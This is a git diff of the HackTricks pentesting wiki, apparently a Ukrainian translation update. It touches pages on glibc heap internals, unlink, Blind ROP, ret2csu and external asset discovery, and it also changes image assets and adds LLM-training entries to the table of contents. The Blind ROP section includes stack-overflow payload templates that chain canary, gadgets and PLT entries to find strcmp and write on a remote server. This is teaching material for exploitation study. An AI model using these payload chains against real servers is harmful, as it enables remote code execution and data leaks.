Translated ['binary-exploitation/libc-heap/README.md', 'binary-exploitat
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
BIN
.gitbook/assets/image (10) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 287 KiB After Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 216 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 62 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 461 KiB |
Before Width: | Height: | Size: 461 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 22 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 114 KiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 284 KiB After Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 146 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 453 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 160 KiB |
BIN
.gitbook/assets/image (8) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 3.1 KiB |
BIN
.gitbook/assets/image (9) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 594 KiB After Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 26 KiB After Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 216 KiB After Width: | Height: | Size: 4.1 KiB |
12
SUMMARY.md
|
@ -839,8 +839,16 @@
|
|||
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Industrial Control Systems Hacking](todo/industrial-control-systems-hacking/README.md)
|
||||
* [LLM Training - Data Preparation](todo/llm-training-data-preparation/README.md)
|
||||
* [5. Fine-Tuning for Classification](todo/llm-training-data-preparation/5.-fine-tuning-for-classification.md)
|
||||
* [4. Pre-training](todo/llm-training-data-preparation/4.-pre-training.md)
|
||||
* [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
|
||||
* [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
|
||||
* [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
|
||||
* [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
|
||||
* [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
|
||||
* [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
|
||||
* [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
|
||||
* [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
|
||||
* [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
|
||||
* [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
|
||||
* [Burp Suite](todo/burp-suite.md)
|
||||
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||
* [Interesting HTTP](todo/interesting-http.md)
|
||||
|
|
|
@ -29,7 +29,7 @@
|
|||
|
||||
Щоб вирішити цю проблему, аллокатор хіпу ptmalloc2 ввів "арени", де **кожна арена** діє як **окремий хіп** зі своїми **власними** структурами **даних** та **м'ютексом**, що дозволяє кільком потокам виконувати операції з хіпом без перешкоджання один одному, якщо вони використовують різні арени.
|
||||
|
||||
За замовчуванням "основна" арена обробляє операції з хіпом для однопотокових додатків. Коли **додаються нові потоки**, менеджер хіпу призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 рази від кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції.
|
||||
За замовчуванням "основна" арена обробляє операції з хіпом для однопотокових додатків. Коли **додаються нові потоки**, менеджер хіпу призначає їм **вторинні арени**, щоб зменшити конкуренцію. Спочатку він намагається приєднати кожен новий потік до невикористаної арени, створюючи нові, якщо це необхідно, до межі 2 рази кількості ядер ЦП для 32-бітних систем і 8 разів для 64-бітних систем. Коли межа досягається, **потоки повинні ділити арени**, що може призвести до потенційної конкуренції.
|
||||
|
||||
На відміну від основної арени, яка розширюється за допомогою системного виклику `brk`, вторинні арени створюють "підхіпи" за допомогою `mmap` та `mprotect`, щоб імітувати поведінку хіпу, що дозволяє гнучко управляти пам'яттю для багатопотокових операцій.
|
||||
|
||||
|
@ -44,13 +44,13 @@
|
|||
* Коли менеджер хіпу створює підхіп, він резервує великий блок пам'яті через `mmap`. Це резервування не виділяє пам'ять негайно; воно просто позначає область, яку інші системні процеси або алокації не повинні використовувати.
|
||||
* За замовчуванням резервований розмір для підхіпу становить 1 МБ для 32-бітних процесів і 64 МБ для 64-бітних процесів.
|
||||
3. **Поступове Розширення з `mprotect`**:
|
||||
* Резервована область пам'яті спочатку позначена як `PROT_NONE`, що вказує на те, що ядро не повинно виділяти фізичну пам'ять для цього простору поки що.
|
||||
* Щоб "збільшити" підхіп, менеджер хіпу використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підхіпу розширюватися за потреби.
|
||||
* Резервована область пам'яті спочатку позначена як `PROT_NONE`, що вказує на те, що ядру не потрібно виділяти фізичну пам'ять для цього простору поки що.
|
||||
* Щоб "зрости" підхіп, менеджер хіпу використовує `mprotect`, щоб змінити дозволи сторінок з `PROT_NONE` на `PROT_READ | PROT_WRITE`, спонукаючи ядро виділити фізичну пам'ять для раніше зарезервованих адрес. Цей покроковий підхід дозволяє підхіпу розширюватися за потреби.
|
||||
* Як тільки весь підхіп вичерпується, менеджер хіпу створює новий підхіп для продовження алокації.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
Ця структура виділяє відповідну інформацію про хіп. Більше того, пам'ять хіпу може бути не безперервною після кількох алокацій, ця структура також зберігатиме цю інформацію.
|
||||
Ця структура виділяє відповідну інформацію про хіп. Більше того, пам'ять хіпу може бути не безперервною після більше алокацій, ця структура також зберігатиме цю інформацію.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
|
||||
|
||||
|
@ -89,8 +89,8 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
* `mchunkptr bins[NBINS * 2 - 2];` містить **вказівники** на **перші та останні частини** малих, великих і неупорядкованих **бінів** (мінус 2, оскільки індекс 0 не використовується)
|
||||
* Отже, **перша частина** цих бінів матиме **зворотний вказівник на цю структуру**, а **остання частина** цих бінів матиме **прямий вказівник** на цю структуру. Це в основному означає, що якщо ви зможете **викрити ці адреси в основній арені**, ви отримаєте вказівник на структуру в **libc**.
|
||||
* Структури `struct malloc_state *next;` та `struct malloc_state *next_free;` є зв'язаними списками арен
|
||||
* `top` частина є останньою "частиною", яка в основному є **всією залишковою пам'яттю купи**. Коли верхня частина "порожня", купа повністю використана, і потрібно запитати більше місця.
|
||||
* `last reminder` частина виникає в випадках, коли частина точного розміру недоступна, і тому більша частина розділяється, вказівник на залишкову частину розміщується тут.
|
||||
* `top` частина є останньою "частиною", яка в основному є **всією залишковою пам'яттю купи**. Як тільки верхня частина "порожня", купа повністю використана, і потрібно запитати більше місця.
|
||||
* `last reminder` частина виникає в випадках, коли частина точного розміру недоступна, і тому більша частина розділяється, а вказівник на залишкову частину розміщується тут.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
|
@ -165,7 +165,7 @@ typedef struct malloc_chunk* mchunkptr;
|
|||
* `M`: Якщо 1, ця частина є частиною простору, виділеного за допомогою mmap, і не є частиною купи
|
||||
* `P`: Якщо 1, попередня частина використовується
|
||||
|
||||
Потім, простір для даних користувача, і нарешті 0x08B, щоб вказати розмір попередньої частини, коли частина доступна (або для зберігання даних користувача, коли вона виділена).
|
||||
Потім, простір для даних користувача, і нарешті 0x08B для вказівки розміру попередньої частини, коли частина доступна (або для зберігання даних користувача, коли вона виділена).
|
||||
|
||||
Більше того, коли доступно, дані користувача також використовуються для зберігання деяких даних:
|
||||
|
||||
|
@ -203,7 +203,7 @@ typedef struct malloc_chunk* mchunkptr;
|
|||
```
|
||||
### Вирівнювання та мінімальний розмір
|
||||
|
||||
Вказівник на шматок і `0x0f` повинні бути 0.
|
||||
Вказівник на шматок і `0x0f` повинні дорівнювати 0.
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
|
||||
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
|
||||
|
@ -258,13 +258,13 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
|||
return request2size (req);
|
||||
}
|
||||
```
|
||||
Зверніть увагу, що для розрахунку загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок.
|
||||
Зверніть увагу, що для обчислення загального необхідного простору `SIZE_SZ` додається лише 1 раз, оскільки поле `prev_size` може використовуватися для зберігання даних, тому потрібен лише початковий заголовок.
|
||||
|
||||
### Отримати дані про шматок і змінити метадані
|
||||
### Отримати дані фрагмента та змінити метадані
|
||||
|
||||
Ці функції працюють, отримуючи вказівник на шматок, і корисні для перевірки/встановлення метаданих:
|
||||
Ці функції працюють, отримуючи вказівник на фрагмент, і корисні для перевірки/встановлення метаданих:
|
||||
|
||||
* Перевірити прапори шматка
|
||||
* Перевірити прапори фрагмента
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
|
@ -327,7 +327,7 @@ people extending or adapting this malloc.
|
|||
/* Treat space at ptr + offset as a chunk */
|
||||
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
|
||||
```
|
||||
* Інсуюча біт
|
||||
* Інсуючий біт
|
||||
```c
|
||||
/* extract p's inuse bit */
|
||||
#define inuse(p) \
|
||||
|
@ -412,7 +412,7 @@ strcpy(ptr, "panda");
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Можна побачити, що рядок panda був збережений за адресою `0xaaaaaaac12a0` (яка була адресою, наданою у відповідь malloc всередині `x0`). Перевіряючи 0x10 байт перед цим, можна побачити, що `0x0` представляє, що **попередній шматок не використовується** (довжина 0) і що довжина цього шматка становить `0x21`.
|
||||
Можна побачити, що рядок panda був збережений за адресою `0xaaaaaaac12a0` (яка була адресою, наданою у відповіді malloc всередині `x0`). Перевіряючи 0x10 байт перед цим, можна побачити, що `0x0` представляє, що **попередній шматок не використовується** (довжина 0) і що довжина цього шматка становить `0x21`.
|
||||
|
||||
Додаткові зарезервовані простори (0x21-0x10=0x11) походять від **доданих заголовків** (0x10), а 0x1 не означає, що було зарезервовано 0x21B, але останні 3 біти довжини поточного заголовка мають деякі спеціальні значення. Оскільки довжина завжди вирівняна на 16 байт (на 64-бітних машинах), ці біти насправді ніколи не будуть використані числом довжини.
|
||||
```
|
||||
|
@ -470,15 +470,15 @@ return 0;
|
|||
|
||||
Відлагоджуючи попередній приклад, можна побачити, що на початку є лише 1 арена:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Потім, після виклику першого потоку, який викликає malloc, створюється нова арена:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Потім, після виклику першого потоку, того, що викликає malloc, створюється нова арена:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
і всередині неї можна знайти кілька шматків:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Контейнери та виділення/звільнення пам'яті
|
||||
|
||||
|
|
|
@ -6,11 +6,11 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -67,7 +67,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
Перегляньте це чудове графічне пояснення процесу unlink:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Перевірки безпеки
|
||||
|
||||
|
@ -81,8 +81,8 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
|||
|
||||
Витоки Libc:
|
||||
|
||||
* Якщо P знаходиться на початку двозв'язного списку, `bk` буде вказувати на `malloc_state` в libc
|
||||
* Якщо P знаходиться в кінці двозв'язного списку, `fd` буде вказувати на `malloc_state` в libc
|
||||
* Якщо P знаходиться на початку двозв'язного списку, `bk` буде вказувати на `malloc_state` у libc
|
||||
* Якщо P знаходиться в кінці двозв'язного списку, `fd` буде вказувати на `malloc_state` у libc
|
||||
* Коли двозв'язний список містить лише один вільний шматок, P знаходиться в двозв'язному списку, і обидва `fd` і `bk` можуть витікати адресу всередині `malloc_state`.
|
||||
|
||||
Витоки купи:
|
||||
|
|
|
@ -27,7 +27,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### **1. Знайти вразливий офсет** відправляючи ще один символ, поки не буде виявлено збій сервера
|
||||
|
||||
### **2. Брутфорс канарейку** для її витоку
|
||||
### **2. Брутфорс канарку** для її витоку
|
||||
|
||||
### **3. Брутфорс збережених адрес RBP та RIP** у стеку для їх витоку
|
||||
|
||||
|
@ -35,13 +35,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### **4. Знайти стоп-гаджет**
|
||||
|
||||
Цей гаджет в основному дозволяє підтвердити, що щось цікаве було виконано гаджетом ROP, оскільки виконання не призвело до збою. Зазвичай цей гаджет буде чимось, що **зупиняє виконання** і розташоване в кінці ланцюга ROP, коли шукають гаджети ROP, щоб підтвердити, що конкретний гаджет ROP був виконаний.
|
||||
Цей гаджет в основному дозволяє підтвердити, що щось цікаве було виконано гаджетом ROP, оскільки виконання не призвело до збою. Зазвичай, цей гаджет буде чимось, що **зупиняє виконання** і розташоване в кінці ланцюга ROP, коли шукають гаджети ROP, щоб підтвердити, що конкретний гаджет ROP був виконаний.
|
||||
|
||||
### **5. Знайти гаджет BROP**
|
||||
|
||||
Ця техніка використовує гаджет [**ret2csu**](ret2csu.md). І це тому, що якщо ви отримуєте доступ до цього гаджета посеред деяких інструкцій, ви отримуєте гаджети для контролю **`rsi`** та **`rdi`**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Це будуть гаджети:
|
||||
|
||||
|
@ -74,22 +74,22 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
### 7. Знайти strcmp
|
||||
|
||||
Функція **`strcmp`** встановлює регістр **`rdx`** на довжину рядка, що порівнюється. Зверніть увагу, що **`rdx`** є **третім аргументом**, і нам потрібно, щоб він був **більшим за 0**, щоб пізніше використовувати `write` для витоку програми.
|
||||
Функція **`strcmp`** встановлює регістр **`rdx`** на довжину рядка, що порівнюється. Зверніть увагу, що **`rdx`** є **третім аргументом**, і нам потрібно, щоб він був **більше 0**, щоб пізніше використовувати `write` для витоку програми.
|
||||
|
||||
Можна знайти місце **`strcmp`** в PLT на основі його поведінки, використовуючи той факт, що ми тепер можемо контролювати 2 перші аргументи функцій:
|
||||
|
||||
* strcmp(\<non read addr>, \<non read addr>) -> збій
|
||||
* strcmp(\<non read addr>, \<read addr>) -> збій
|
||||
* strcmp(\<read addr>, \<non read addr>) -> збій
|
||||
* strcmp(\<read addr>, \<read addr>) -> немає збою
|
||||
* strcmp(\<не читати addr>, \<не читати addr>) -> збій
|
||||
* strcmp(\<не читати addr>, \<читати addr>) -> збій
|
||||
* strcmp(\<читати addr>, \<не читати addr>) -> збій
|
||||
* strcmp(\<читати addr>, \<читати addr>) -> немає збою
|
||||
|
||||
Це можна перевірити, викликавши кожен запис таблиці PLT або використовуючи **PLT повільний шлях**, який в основному полягає в **виклику запису в таблиці PLT + 0xb** (який викликає **`dlresolve`**) з наступним у стеку **номер запису, який потрібно перевірити** (починаючи з нуля), щоб просканувати всі записи PLT з першого:
|
||||
|
||||
* strcmp(\<non read addr>, \<read addr>) -> збій
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> викличе збій
|
||||
* strcmp(\<read addr>, \<non read addr>) -> збій
|
||||
* strcmp(\<не читати addr>, \<читати addr>) -> збій
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Виникне збій
|
||||
* strcmp(\<читати addr>, \<не читати addr>) -> збій
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
* strcmp(\<read addr>, \<read addr>) -> немає збою
|
||||
* strcmp(\<читати addr>, \<читати addr>) -> немає збою
|
||||
* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
|
||||
|
||||
Пам'ятайте, що:
|
||||
|
@ -101,7 +101,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
Знайшовши `strcmp`, можна встановити **`rdx`** на значення більше 0.
|
||||
|
||||
{% hint style="success" %}
|
||||
Зверніть увагу, що зазвичай `rdx` вже міститиме значення більше 0, тому цей крок може бути непотрібним.
|
||||
Зверніть увагу, що зазвичай `rdx` вже міститиме значення більше 0, тому цей крок може бути не обов'язковим.
|
||||
{% endhint %}
|
||||
|
||||
### 8. Знайти Write або еквівалент
|
||||
|
@ -114,11 +114,11 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
* `dprintf(fd, data)`
|
||||
* `write(fd, data, len(data)`
|
||||
|
||||
Однак оригінальна стаття згадує лише про **`write`**, тому давайте поговоримо про це:
|
||||
Однак, оригінальна стаття згадує лише про **`write`**, тому давайте поговоримо про це:
|
||||
|
||||
Поточна проблема полягає в тому, що ми не знаємо **де функція write знаходиться всередині PLT** і ми не знаємо **номер fd, щоб надіслати дані до нашого сокета**.
|
||||
Поточна проблема полягає в тому, що ми не знаємо **де функція write знаходиться всередині PLT** і ми не знаємо **номер fd, щоб надіслати дані до нашого сокету**.
|
||||
|
||||
Однак ми знаємо **де знаходиться таблиця PLT** і можна знайти write на основі його **поведінки**. І ми можемо створити **кілька з'єднань** з сервером і використовувати **високий FD**, сподіваючись, що він відповідає деяким з наших з'єднань.
|
||||
Однак, ми знаємо **де знаходиться таблиця PLT** і можна знайти write на основі його **поведінки**. І ми можемо створити **кілька з'єднань** з сервером і використовувати **високий FD**, сподіваючись, що він відповідає деяким з наших з'єднань.
|
||||
|
||||
Поведінкові сигнатури для знаходження цих функцій:
|
||||
|
||||
|
|
|
@ -80,7 +80,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
Ще один спосіб контролювати **`rdi`** та **`rsi`** з гаджета ret2csu - це доступ до конкретних зсувів:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
Перевірте цю сторінку для отримання додаткової інформації:
|
||||
|
||||
|
@ -94,7 +94,7 @@ gef➤ search-pattern 0x400560
|
|||
|
||||
Уявіть, що ви хочете зробити системний виклик або викликати функцію, таку як `write()`, але вам потрібні конкретні значення в регістрах `rdx` та `rsi` як параметри. Зазвичай ви шукали б гаджети, які безпосередньо встановлюють ці регістри, але не можете знайти жодного.
|
||||
|
||||
Ось тут і вступає в гру **ret2csu**:
|
||||
Ось де **ret2csu** вступає в гру:
|
||||
|
||||
1. **Налаштуйте регістри**: Використовуйте перший магічний гаджет, щоб витягти значення зі стеку та помістити їх у rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) та r15.
|
||||
2. **Використовуйте другий гаджет**: З цими налаштованими регистрами ви використовуєте другий гаджет. Це дозволяє вам перемістити вибрані значення в `rdx` та `rsi` (з r14 та r13 відповідно), готуючи параметри для виклику функції. Більше того, контролюючи `r15` та `rbx`, ви можете змусити програму викликати функцію, розташовану за адресою, яку ви обчислюєте та поміщаєте в `[r15 + rbx*8]`.
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,29 +23,29 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Виявлення активів
|
||||
|
||||
> Вам сказали, що все, що належить якійсь компанії, знаходиться в межах обсягу, і ви хочете з'ясувати, що насправді належить цій компанії.
|
||||
> Вам сказали, що все, що належить якійсь компанії, знаходиться в межах сфери, і ви хочете з'ясувати, що насправді належить цій компанії.
|
||||
|
||||
Метою цього етапу є отримання всіх **компаній, що належать основній компанії**, а потім усіх **активів** цих компаній. Для цього ми будемо:
|
||||
Мета цього етапу - отримати всі **компанії, що належать головній компанії**, а потім всі **активи** цих компаній. Для цього ми будемо:
|
||||
|
||||
1. Знайти придбання основної компанії, це дасть нам компанії в межах обсягу.
|
||||
1. Знайти придбання головної компанії, це дасть нам компанії в межах сфери.
|
||||
2. Знайти ASN (якщо є) кожної компанії, це дасть нам діапазони IP, що належать кожній компанії.
|
||||
3. Використати зворотні whois запити для пошуку інших записів (назви організацій, домени...) пов'язаних з першим (це можна зробити рекурсивно).
|
||||
4. Використати інші техніки, такі як фільтри shodan `org` та `ssl`, для пошуку інших активів (трик `ssl` можна зробити рекурсивно).
|
||||
3. Використовувати зворотні whois запити для пошуку інших записів (імен організацій, доменів...) пов'язаних з першим (це можна робити рекурсивно).
|
||||
4. Використовувати інші техніки, такі як фільтри shodan `org` і `ssl`, для пошуку інших активів (трик `ssl` можна робити рекурсивно).
|
||||
|
||||
### **Придбання**
|
||||
|
||||
По-перше, нам потрібно знати, які **інші компанії належать основній компанії**.\
|
||||
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **пошукати** основну компанію та **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані основною.\
|
||||
Інший варіант - відвідати сторінку **Вікіпедії** основної компанії та знайти **придбання**.
|
||||
По-перше, нам потрібно знати, які **інші компанії належать головній компанії**.\
|
||||
Один з варіантів - відвідати [https://www.crunchbase.com/](https://www.crunchbase.com), **шукати** **головну компанію** і **натиснути** на "**придбання**". Там ви побачите інші компанії, придбані головною.\
|
||||
Інший варіант - відвідати сторінку **Вікіпедії** головної компанії та шукати **придбання**.
|
||||
|
||||
> Добре, на цьому етапі ви повинні знати всі компанії в межах обсягу. Давайте з'ясуємо, як знайти їх активи.
|
||||
